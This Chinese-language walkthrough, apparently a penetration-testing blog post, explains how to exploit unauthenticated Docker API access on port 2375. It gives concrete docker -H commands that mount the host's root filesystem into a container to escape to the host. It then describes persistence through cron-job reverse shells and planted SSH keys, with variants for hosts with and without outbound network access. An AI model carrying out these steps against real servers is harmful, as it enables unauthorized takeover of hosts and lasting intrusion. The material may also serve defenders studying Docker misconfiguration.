systemctl restart docker
通过命令netstat -anltp | grep 2375
确认Docker API通信端口开启
通过其他主机的docker来连接测试docker -H tcp://43.xxx.xxx.163:2375 ps
,如下图所示可以看到通信正常
未授权利用
内网中发现一台服务器存在Docker API 2375端口未授权访问,这边可以先列出已有的镜像,如下图所示
这边通过挑选类似ubuntu这种镜像都会提供bash终端,所以这边的话就用该镜像来挂载宿主机磁盘,这边的话将宿主机的根目录挂载到容器中的/mnt目录,执行命令docker -H tcp://43.xxx.xxx.163:2375 run -itd -v /:/mnt ubuntu /bin/bash
,如下图所示
执行命令docker -H tcp://43.xxx.xxx.163:2375 ps
,查看容器执行情况,可以看到此时该ubuntu容器已经在后台执行中了
执行命令docker -H tcp://43.xxx.xxx.163:2375 exec -it 9ffc78c3a40b bash
进入到该容器中,如下图所示
此时就直接可以在宿主机的目录上进行操作了,如下图所示,至此Docker API未授权利用完成,并且完成逃逸宿主机的效果。
后续的操作就可以直接写入计划任务执行,但是原生bash反弹shell的流量比较大,如果要反弹的话也尽量加一层ssl加密在进行通信
通信不出网的情况下该如何进行逃逸利用
这边不出网的话,最方便的一个方法就是写入sshkey,由于挂载的是/mnt目录,所以写入宿主机的目录就是/mnt/root/.ssh/
如果目标中不存在镜像(出网情况)
如果不存在镜像的话,但是当前机器可以出网,那么可以先手动在docker hub中拉取一个镜像然后再进行操作,这边比如可以拉取一个nginx镜像来进行测试,这边随便拉取一个版本的nginx镜像到本地
这边执行docker -H tcp://43.xxx.xxx.163:2375 pull nginx:1.21.5
,如下图所示
接着再操作上述的步骤,起一个容器挂载目录就可以了
如果目标中不存在镜像(不出网情况)
不出网的情况下的话,这边自己想出的办法就是本地先打包本地镜像docker save -o my_new_image.tar 容器名称
本地运行一个ubuntu的镜像,然后通过docker ps
查看确保运行
接着将本地这个ubuntu的镜像打包为my_new_image.tar,执行命令docker save -o my_new_image.tar ubuntu
然后再将my_new_image.tar挂载到目标机器上面,这边执行进行docker -H tcp://43.xxx.xxx.163:2375 load -i my_new_image.tar
操作将其tar文件加载为一个 Docker 镜像,后面的操作跟上述的操作流程一样
在已有的容器列表中无法得到一个有效的交互式bash shell
遇到一种情况就是,在有些docker的镜像启动之后,如果通过docker exec -it xxxx bash进入之后会发现并不会拿到一个有效的bash,而是一直看到当前容器窗口的控制台一直在输出,而如果你ctrl+c之后当前容器也会随之就会结束。
这边看到当前容器窗口的控制台一直在输出的情况实际上是当前docker容器中的主进程就是当前运行的程序,而此时ctrl+c则会杀死主进程,随之docker进程检测到主进程被杀了之后也会随之结束docker容器的运行。
这边可以尝试如果/bin/bash获取不到的话,可以尝试去获取/bin/sh